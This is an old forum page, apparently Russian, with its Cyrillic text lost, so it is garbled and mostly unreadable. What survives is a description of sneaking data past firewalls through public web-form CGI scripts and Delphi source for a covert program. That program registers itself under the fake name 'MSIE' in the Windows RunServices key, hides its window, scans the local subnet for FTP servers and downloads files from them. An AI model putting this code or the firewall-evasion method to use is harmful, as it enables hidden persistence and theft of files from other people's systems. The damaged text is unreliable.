- |
|
| 05.03.2007 22:46:20 |  |
|
| 17-18 , , , , , Associated Press. . , 27 29 2005 . , " ", . , , , 14 . 460 . , , 6 450 . , , 12 . . |
||
: - |
|
|
|
: |
|
|
|
[60] ------------------------------------------------------
: ( ). |
? - ( ) |
|
. , , , - !!!
|
|
|||||
|
|||||
|
, , - . « » .
|
|
. «» , …
 |
|
- – - – , …
 |
|
, … - . , , , …
 |
|
- - « , , ?» , … …
 |
|
«» …
 |
|
, , , …
 |
!
: |
*oo * |
|
: oo o |
, ... |
|
: . . . . . . . |
... |
|
. ,
, -
, ,
.
, ?
.
,
http://www.server.com/cgi-bin/formParsing.pl
: nick, message .
:
nick
message
( , ).
.
: : " 19-00 ",
, ,
19-00, .
(cgi )
,
, ,
, , .
name="robot19jkeks"
message="robot19jkekshttp://www.anotherserver.com/cgi-bin/AnotherFormParsing.pl(nick[20]message[300])"
"robot19jkeks",
, ,
:
http://www.anotherserver.com/cgi-bin/An … Parsing.pl(nick2[20]message2[300])
,
nick2 message2,
nick2 - 20 , message2 300 .
, ,
.
firewalls.
firewalls. ?
, ,
, .
.
,
, .
firewalls.
,
,
- ,
.
, :
0.
1.
2.
3.
,
, ,
, .
,
.
, , , /
.
, ,
.
gray-world (
),
. .
? ,
? ,
,
, .
( firewalls)
.
, ,
,
,
. ,
, ,
.
,
.
.
,
, , , ,
.
?
, :
1|URL1|URL2|__input1|_1|__input2|_2|__input3|_3|..
2|URL1|URL2|__input1|_1|__input2|_2|__input3|_3|..
...
1,2,.. -
URL1 - , ,
URL2
__input1 - name ,
URL2
_1 - , ..
.
/,
.
,
,
PHPbb.
, ,
, .
,
: !
- ,
? -
: ,
, , :
? ,
, ,
. , -
. ,
.
,
. ,
,
.
/.
, :
1. ,
1
2.
3. UUEncode
4. , - ,
, ,
.
.
(unicode ) 256 .
,
. , 2^x
x 12 2004 ., 9:57:08:
jmr> , FirePass.
jmr> ,
jmr> , .
http://gray-world.net/projects/firepass/ : firepass README - english
http://www.hackzona.ru/modules.php?name … mp;sid=433 :
void.ru - . 3 firepass.
firepass :
,
TCP UDP
- HTTP. ,
CGI ,
"" - -.
, .
, "" -
firepass HTTP -
/cgi-bin ( ?)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++
: |
,,,,,,,,,,,,,,,, |
|
... ? ! ! Delphi6. ftp . , ! . NMFTP ( , 1).
2 . var,
public
{ Public declarations }
end;
unit’a.
WinSock Registry.
:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// ‘Run services’, MSIE, //
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
.
2 – ip1st ip2nd. ip 4 .
:
var
Form1: TForm1;
ip1st,ip2nd:string;
IP . ( GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
IP .
IP 4 . CutIP( IP). :
function CutIP(ip:string):string; // ip-
var
// 2 – pos1 count
pos1,count:integer;
// piece
piece:string;
begin
//1- IP
piece:=ip;
// piece ip(
//
// Pos1
// - piece ( IP)
pos1:=Pos('.', piece);
// piece 30
// ip-
Delete(piece,pos1,30);
// ip1st
ip1st:= piece;
//
//2- ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
2 IP- 2 2 .
, . OnCreate . , . :
, begin :
var
my_ip:string; // ip
ftp_list,scan_ip_list:TStrings; // ip
//
count,count1,count2:integer; //
, , ( begin end ).
my_ip:=getLocalIp; // my_ip GetLocalIP
// IP
//
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
// ip,
CutIP(GetLocalIP);
// ip
//
Application.ProcessMessages;
// IP
// 0 255
for count2:=1 to 255 do
begin
//
Application.ProcessMessages;
// ip3rd
ip3rd:=IntToStr(count2);
//
for count:=1 to 255 do
begin
//
Application.ProcessMessages;
// scan_ip_list IP-
// ip
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
//
// ip 255-
//
//
Application.ProcessMessages;
// ftp
// 1 - scan_ip_list, ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// host – //
NMFTP.Host:=Scan_ip_List.Strings[count1];
//
NMFTP.Connect;
//
if NMFTP.Connected then
begin
// ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
//
Application.ProcessMessages;
//
end;
ftp_list ip 21- .
ftp-.
, .
. :
NMFTP.NList;
// OnListItem
//
[_ ].Add(Listing);
. ftp .. .
: , /. , , ( ) , .. , ’ .
NMFTP.ChangeDir(_);
:
NMFTP.Download(‘__’,’______’);
, :
Project>View Source
, :
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
, 30 , , .
! !
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
: |
_____ |
|
: . |
